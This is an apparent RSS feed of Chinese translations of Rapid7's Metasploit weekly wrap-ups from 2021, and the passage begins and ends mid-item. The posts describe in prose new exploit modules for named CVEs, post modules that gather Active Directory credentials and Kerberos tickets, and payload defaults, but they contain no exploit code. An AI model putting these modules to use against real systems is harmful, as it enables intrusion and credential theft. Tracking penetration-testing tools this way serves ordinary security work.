style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Justin Moore, Wojciech Ledzion, Luis Rocha,Adrian Pisarczyk, Daniel Caban, Sara Rincon, Daniel Susin, Antonio Monaca</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, FireEye (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Ben Hawkes</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Google Project Zero (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Nick Bloor</span></span><span style="font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;"> (2020)<br/></span><span style="color: black;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Voidsec</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;"> (2020)</span></span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Itm4n</span></span><span style="font-size: 15px;"><span style="font-size: 15px;font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;"> (2020)<br/></span><span style="font-size: 15px;color: black;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Marcus Hutchins</span></span><span style="font-size: 15px;font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;">, Kryptos Logic (2020)</span></span></p><p><br/></p>



<p><a href="2247484584">阅读原文</a></p>
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      <pubDate>Sat, 22 May 2021 17:02:00 +0800</pubDate>
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    <item>
      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484574&amp;idx=1&amp;sn=4efa8ab8475a9642ef1928f4a81a7c2f</link>
      <description>Metasploit最新资讯！！新模块*6，功能更新*6，BUG修复*4~</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-05-08 22:00</span> <span style="display: inline-block;"></span>
</p>

<p>Metasploit最新资讯！！新模块*6，功能更新*6，BUG修复*4~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=94f4370a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVpgNqQuI4ruMrA83uib78OJ5rSxJsCxsXAUKdsPSPXDVPuLDVqW8YiaCw%2F0%3Fwx_fmt%3Djpeg"/>
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<h2><span style="color: rgb(255, 0, 0);"><strong><span style="color: rgb(255, 0, 0);font-family: 微软雅黑, sans-serif;font-size: 17px;">新模块（6）</span></strong></span></h2><p><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>GravCMS Remote Command Execution：</strong></span><span style="font-size: 15px;">Mehmet Ince增加了一个可利用利用CVE-2021-21425的远程攻击模块。利用未经验证的任意YAML写入/更新漏洞，在web服务器用户的上下文中获得远程代码执行。此漏洞是在GravCMS版本1.7.9中发布的，且已经在1.10.10版本的管理组件中得到了修复。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23826714801444043" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1d60137f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVHyCQzyn7pfngBTqMqIFe80tGgHwiae9bUDURqKLkjmZK1NOsWZWTTibg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p> </p><p style="text-align: left;"><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>Micro Focus Operations Bridge ReporterUnauthenticated Command Injection：</strong></span><span style="font-size: 15px;">由Pedro Ribeiro编写，利用了CVE-2021-22502漏洞。这是Micro Focus OperationsBridge Reporter中的一个未经认证的操作系统命令注入漏洞。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.16064981949458484" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=00e9e0fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVuKQ4NaCNOICSwbJyl8JrPQ75NagWfVL63sbFG28jJuYicTvmogJJbKg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>IGEL OS Secure VNC/Terminal CommandInjection RCE：</strong></span><span style="font-size: 15px;">由James Brytan、James Smith、Marisa Mack、Rob Vinson、Sergey Pashevkin和Steven Laura共同提供了这个模块，该模块利用不同版本IGEL OS中的安全终端和安全影子服务中的未经认证的命令注入漏洞。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18592057761732853" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=b7a763ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVthCNnAuSbicUbEN5LRlXX7Zmo7tUzVzyTkibbNmrsUKFxQg1aJvibUBIA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><p style="text-align: left;"><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>Google Chrome versions before89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE：</strong></span><span style="font-size: 15px;">由Bruno Keith (bkth_), Grant Willcox (tekwizz123), Niklas Baumstark(_niklasb), 和Rajvardhan Agarwal (r4j0x00)提供。该模块针对Chrome V8 XOR类型OOB Access RCE的漏洞模块，该漏洞在2021年Pwn2Own竞赛中被DataflowSecurity的Niklas Baumstark (@niklasb)和Bruno Keith (@bkth)发现。</span></p><p><span style="font-size: 15px;">请注意，此模块将要求您在没有启用沙箱的情况下运行Chrome，因为它没有附带沙箱转义。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1299638989169675" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1e3649eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDViahbgAv6xn4tEZ0J0iaPrwYxbhzq7k1HxnTkCibgyAAmac12Hqf2McxTw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>UNIX Gather Cached AD Hashes：</strong></span><span style="font-size: 15px;">由Tim Brown提供。该模块可以从UNIX上的两个不同解决方案（SSSD和VAS）检索缓存的ActiveDirectory凭据。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2148014440433213" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4a970999&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVlZsXYtGaf8gT7Y1VDicu84k1SL7ezuZcgkB4yadP7bUSEvRCMxU11bw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 0, 0);">UNIX Gather Kerberos Tickets：</span><span style="font-size: 15px;">也由Tim Brown提供。该模块可以从UNIX上的两个不同解决方案（SSSD和VAS）检索缓存的ActiveDirectory凭据。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2075812274368231" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=7b5438df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVJZoRpgC5nJvgBYnWrqHDVbRwQyEUKmiaFf2YtJ2h9suN43XwWUIknQNpkg9FicDibcer7sibXiacNq8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><h2><span style="color: rgb(255, 0, 0);"><strong><span style="color: rgb(255, 0, 0);font-family: 微软雅黑, sans-serif;font-size: 17px;">功能更新（6）</span></strong></span></h2><p style="text-align: left;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新1：</span></strong></span><span style="font-size: 15px;">使用一个新的cookiejar实现更新HttpClient mixin，当使用send_request_cgikeep_cookies选项时，正确更新和合并Set-Cookie报头响应</span></p><p><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新2：</span></strong></span><span style="font-size: 15px;">将which命令的使用替换为command-v，从而提供了一个更具可移植性的解决方案</span></p><p><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新3：</span></strong></span><span style="font-size: 15px;">exploit/windows/local/microfocus_operations_privesc模块现在同时支持易受攻击的Operations Bridge Manager安装和易受攻击的OperationsBridge Reporter安装，新的附加目标是Operations Bridge Reporter。</span></p><p><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新4：</span></strong></span><span style="font-size: 15px;">将shell会话支持添加到post / windows / gather / checkvm模块。并且添加了跨平台支持，可使用shell和Meterpreter会话获取正在运行的进程的列表。</span></p><p><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新5：</span></strong></span><span style="font-size: 15px;">将exploit/multi/http/microfocus_ucmdb_unauth_deser模块默认的Linux负载从cmd/unix/generic更新为cmd/unix/reverse_python。</span></p><p style="text-align: left;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;">更新6：</span></strong></span><span style="font-size: 15px;">通过清理代码增强了辅助/scanner/http/dell_idrac模块，将last_attempted_at字段添加到create_credential_login以防止崩溃，并为该模块添加文档说明。</span></p><p style="text-align: left;"><strong><span style="font-size: 15px;"><br/></span></strong></p><h2><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;color: rgb(255, 0, 0);">BUG修复（4）</span></strong></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了某些Meterpreter会话类型通过sessions-c发出的命令但却无法同步运行地的问题。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了在将较新的Acunetix报告导入数据库时由于时间戳格式的改变而出现的bug。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了tools / modules / module_author.rb中的回退，使其运行时不会崩溃。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">msftidy_docs.rb现在不会对可选(和丢失)选项头发出双重警告。</span></p><p><span style="font-size: 15px;"></span></p><p><br/></p></li></ul><h2><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;color: rgb(255, 0, 0);">如何获取最新版本</span></strong></h2><p style="text-align: left;"><span style="font-size:15px;color:black;">   </span><span style="color: black;font-size: 15px;"> 与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 15px;background-color: white;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Pull Requests 6.0.42...6.0.43</span><span style="font-size: 15px;background-color: white;font-family: 等线;color: black;letter-spacing: 0.5px;">(</span><em style="font-size: 15px;background-color: white;"><span style="font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;">h</span></em><span style="font-size: 12px;"><em style="font-size: 15px;background-color: white;"><span style="font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;">ttps://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-04-29T10%3A54%3A48-05%3A00..2021-05-05T09%3A27%3A49-04%3A00%22</span></em></span><span style="font-size: 15px;background-color: white;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;background-color: white;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Full diff 6.0.42...6.0.43</span><span style="font-size: 15px;background-color: white;font-family: 等线;color: black;letter-spacing: 0.5px;"> (</span><span style="font-size: 12px;"><em style="font-size: 15px;background-color: white;"><span style="font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.42...6.0.43" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.42...6.0.43</a></span></em></span><span style="font-size: 15px;background-color: white;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></p></li></ul><p style="text-align: left;"><br/><span style="font-size: 15px;"><span style="font-size: 15px;color: black;">    如果您是git用户，那么可以克隆</span><span style="font-size: 15px;color: rgb(233, 95, 38);">Metasploit Framework repo</span><span style="font-size: 15px;color: black;">（</span><em><span style="font-size: 15px;font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em><span style="font-size: 15px;color: black;">）以获取最新版本。<br/>    要在不使用git的情况下安装，可以使用只开放源码的</span><span style="font-size: 15px;color: rgb(233, 95, 38);">Nightly Installers</span><span style="font-size: 15px;color: black;">(</span><em><span style="font-size: 15px;font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></span></em><span style="font-size: 15px;color: black;">)安装程序或</span><span style="font-size: 15px;color: rgb(233, 95, 38);">binaryinstallers</span><span style="font-size: 15px;color: black;">(</span><em><span style="font-size: 15px;font-family: 等线;color: rgb(0, 213, 255);"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em><span style="font-size: 15px;color: black;">)安装程序（也包括商业版）。</span></span></p><p> </p><p><br/></p>



<p><a href="https://www.rapid7.com/blog/post/2021/05/07/metasploit-wrap-up-110/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0f052574&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484574%26idx%3D1%26sn%3D4efa8ab8475a9642ef1928f4a81a7c2f%26subscene%3D0">跳转微信打开</a></p>
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      <pubDate>Sat, 08 May 2021 22:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484564&amp;idx=1&amp;sn=1e924a818297c06bbf8e28d6d6b4bdb1</link>
      <description>Metasploit最新资讯！！新模块*4，功能更新*1，BUG修复*7~</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-04-16 17:40</span> <span style="display: inline-block;"></span>
</p>

<p>Metasploit最新资讯！！新模块*4，功能更新*1，BUG修复*7~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9d77ed86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFX7ezyz3jPgNWr4eaG9wQFXFmMU3Zm3ZCNGoTxszd51Vw5gEAxtIcJZgiaYYoQeozspQajnicawKE1w%2F0%3Fwx_fmt%3Djpeg"/>
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<h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">新模块（4）</span></strong></span></h2><p style="text-align: left;"><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>Apache OFBiz SOAP Java Deserialization ：</strong></span><span style="font-size: 15px;">由 wvu, Spencer McIntyre和 yumusb为Metasploit增加了一个攻击模块，可适用的范围为v17.12.06之前的Apache OFBiz。这些版本容易受到Java反序列化漏洞的攻击。通过发送一个序列化的有效负载到webtools/control/SOAPService，可以实现作为运行ApacheOFBiz服务的用户的未经身份验证的远程代码执行。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18050541516245489" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d7c707c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFX7ezyz3jPgNWr4eaG9wQFXVc0lmoS82yLbgSHlAE2T0ABibRzSonoiadwwWbFq0e2DF9eMHN8napww%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>Gitea and Gogs Git Hooks Remote CodeExecution ：</strong></span>由 Christophe De La Fuente 和Podalirius为Metasploit增加了两个模块exploit/multi/http/gitea_git_hooks_rce和exploit/multi/http/gogs_git_hooks_rce，两者都利用git hooks设置分别针对易受攻击的Gitea和Gogs版本实现经过身份验证的远程代码执行。有了有效的凭据并获得创建git hooks的许可，这两个模块都会创建一个repo并上传一个负载作为post-receive触发器。在repo中创建一个额外的文件后，post receive触发器将被触发，这将允许作为运行软件的用户执行代码。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22202166064981949" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=3a08280f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFX7ezyz3jPgNWr4eaG9wQFXCj8qAh2sjicXHrGAKOjCzSia30fcFzDhbkOK8z5MYAcc6hPOHAulmdug%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/><span style="font-size: 15px;"></span></p><p style="text-align: left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>Diagnostics Agent in Solution Manager,stores unencrypted credentials for Solution Manager server</strong>：</span>由Vladimir Ivanov 和 Yvan Genuer为Metasploit增加了一个新的post模块，该模块利用CVE-2019-0307不安全密码存储漏洞来检索SLD用户连接和Solman用户通信等凭证。这还改进了cve_2020_6207_solman_rce辅助模块，增加了一个新的secore操作，通过利用识别为cve-2020-6207的身份验证绕过远程执行相同的攻击。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.14259927797833935" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=2670af62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFX7ezyz3jPgNWr4eaG9wQFXicoUSwicvUC7csF6wgaFYP7BzGdTiaHqj2PLFAbvG8TCOibic9D9XiblmOpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 15px;"></span></p><p><br/></p><h2><span style="font-size: 17px;"><strong><span style="font-size: 17px;font-family: 微软雅黑, sans-serif;color: rgb(233, 95, 38);">功能更新（1）</span></strong></span></h2><p><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>更新1：</strong></span>更新了exploit/windows/http/dupscts_bof模块，包括对Dup Scout企业软件的六个更易受攻击版本的覆盖，利用自动定位，并添加模块特征和引用。</span></p><p><span style="font-size: 15px;"><br/></span></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">BUG修复（7）</span></strong></span></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">这修复了cve_2020_1054_drawiconex_lpe模块中的一个问题，该模块总是在目标不易受攻击时报错。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了用户只有三次机会通过mysql_login模块尝试暴力登陆mysql的问题。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">更新了auto_target_host的逻辑，避免rhost为空时报错。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">将CVE引用从CVE详细信息更改为NVD</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了在运行show payloads命令或msfvenom-l payloads时，未能加载的单个模块将阻止其余模块成功加载的问题</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了自定义wordlist值验证，当没有自定义wordlist文件提供时，将恢复辅助cracker模块函数。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了使用时导致NTP协议模糊器模块崩溃的回归问题</span></p><p><br/></p><p><span style="font-size: 15px;"></span></p></li></ul><h2 style=""><span style="font-size: 17px;"><strong><span style="font-size: 17px;font-family: 微软雅黑, sans-serif;color: rgb(233, 95, 38);">如何获取最新版本</span></strong></span></h2><p style="text-align: left;"><span style="font-size:15px;color:black;">    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Pull Requests 6.0.38...6.0.39</span><span style="font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;">(</span><span style="font-size: 12px;"><em><span style="font-size: 12px;font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;"><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-04-01T08%3A47%3A57-05%3A00..2021-04-07T13%3A51%3A53-05%3A00%22" target="_blank">https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-04-01T08%3A47%3A57-05%3A00..2021-04-07T13%3A51%3A53-05%3A00%22</a></span></em><span style="font-size: 12px;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></span></p></li><li><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;font-family: &#34;Times New Roman&#34;;"> </span><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Full diff 6.0.38...6.0.39</span><span style="font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;"> (</span><span style="font-size: 12px;"><em><span style="font-size: 12px;font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.38...6.0.39" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.38...6.0.39</a></span></em><span style="font-size: 12px;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></span></p></li></ul><p style="text-align: left;"><br/><span style="font-size:15px;color:black;">    如果您是git用户，那么可以克隆</span><span style="font-size:15px;color:#E95F26;">Metasploit Framework repo</span><span style="font-size:15px;color:black;">（</span><span style="font-size: 12px;"><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em></span><span style="font-size:15px;color:black;">）以获取最新版本。<br/>    要在不使用git的情况下安装，可以使用只开放源码的</span><span style="font-size:15px;color:#E95F26;">Nightly Installers</span><span style="font-size:15px;color:black;">(</span><span style="font-size: 12px;"><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></span></em></span><span style="font-size:15px;color:black;">)安装程序或</span><span style="font-size:15px;color:#E95F26;">binaryinstallers</span><span style="font-size:15px;color:black;">(</span><span style="font-size: 12px;"><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em></span><span style="font-size:15px;color:black;">)安装程序（也包括商业版）。</span></p><p><br/></p>



<p><a href="https://www.rapid7.com/blog/post/2021/04/09/metasploit-wrap-up-106/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=87fabe48&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484564%26idx%3D1%26sn%3D1e924a818297c06bbf8e28d6d6b4bdb1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 16 Apr 2021 17:40:00 +0800</pubDate>
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    <item>
      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484557&amp;idx=1&amp;sn=71639977e104239c0fc0ccbc04653303</link>
      <description>Metasploit最新资讯！！新模块*6，功能更新*3，BUG修复*4~</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-04-09 10:09</span> <span style="display: inline-block;"></span>
</p>

<p>Metasploit最新资讯！！新模块*6，功能更新*3，BUG修复*4~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=db8fe740&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JAOp0SQiaWyBcibDicCClqXRwW7K1O7haibAicHrWp1Jvu6NxWdFrgB4f1Pg%2F0%3Fwx_fmt%3Djpeg"/>
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<h2><span style="color: rgb(233, 95, 38);"><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;">更新新功能了！</span></strong></span></h2><p>    <span style="font-size: 15px;">新版Metasploit对search功能进行了更新，支持了语法搜索。那我们就叫他Meta语法吧（滑稽）。主要功能可实现按关键类别进行筛选，相近于google语法。具体功能如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5469314079422383" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1f0a7835&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JRVGYDDPFUXL2gse9kGSSVawup8dNjwZeXRic93K58s1XQDXk7kWicwFA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;">新模块（6）</span></strong></span></h2><p><span style="color: rgb(233, 95, 38);"><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;"><br/></span></strong></span></p><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>SAP Solution Manager remote unauthorizedOS commands execution：</strong></span><span style="font-size: 15px;">由Dmitry Chastuhin, PabloArtuso, Vladimir Ivanov, 和 Yvan Genuer共同研究，此项目添加了两个模块来利用 SAP 解决方案管理器应用程序中的漏洞。成功利用该漏洞可使未经验证的远程攻击者能够实现 SSRF，并执行应用程序范围内连接了代理的操作系统命令。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18231046931407943" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0ad50698&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JMUTkrRX5ZFsMibMOGnXjBGiaiaAXRFKxpkZ6FqQ5kR0HYRuLibu7IlOBQw%2F640%3Fwx_fmt%3Dpng"/></p><p> <br/></p><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>Nagios XI Scanner：</strong></span><span style="font-size: 15px;">由Erik Wynter使用CVE-2020-35578添加了一组新的库，以支持希望面向Nagios XI机器的开发人员，这应该有助于为开发人员提供一些常用的功能。另外，添加了一个扫描程序模块，它将扫描Nagios XI安装并尝试检测安装的版本。一旦获得了Nagios XI的版本，它会在Metasploit中漏洞利用程序的建议(如果有任何可用的漏洞的话)。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.20938628158844766" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=8cd25bdf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JibicZTL62wkiaKTyicNnJJVPFWibD0HaZgLFsmURG695PqmjEAUTMHnDtUA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p> </p><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>F5 iControl REST Unauthenticated SSRFToken Generation RCE：</strong></span><span style="font-size: 15px;">由wvu和RichWarren开发。利用了CVE-2021-22986，给Metasploit添加了一个模块，该模块利用F5的iControl REST API中未经身份验证的SSRF漏洞，然后作为root用户在F5的各个版本的BIG-IP和BIG-IQ设备上执行代码。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17328519855595667" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=aed2c0ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JVMlbHAtoqAMC333JniaymGIucexvvfTIanibyQXSMD13893JiaPqQXbuA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"> </span></p><p style="text-align:left;"><span style="font-size: 15px;color: rgb(233, 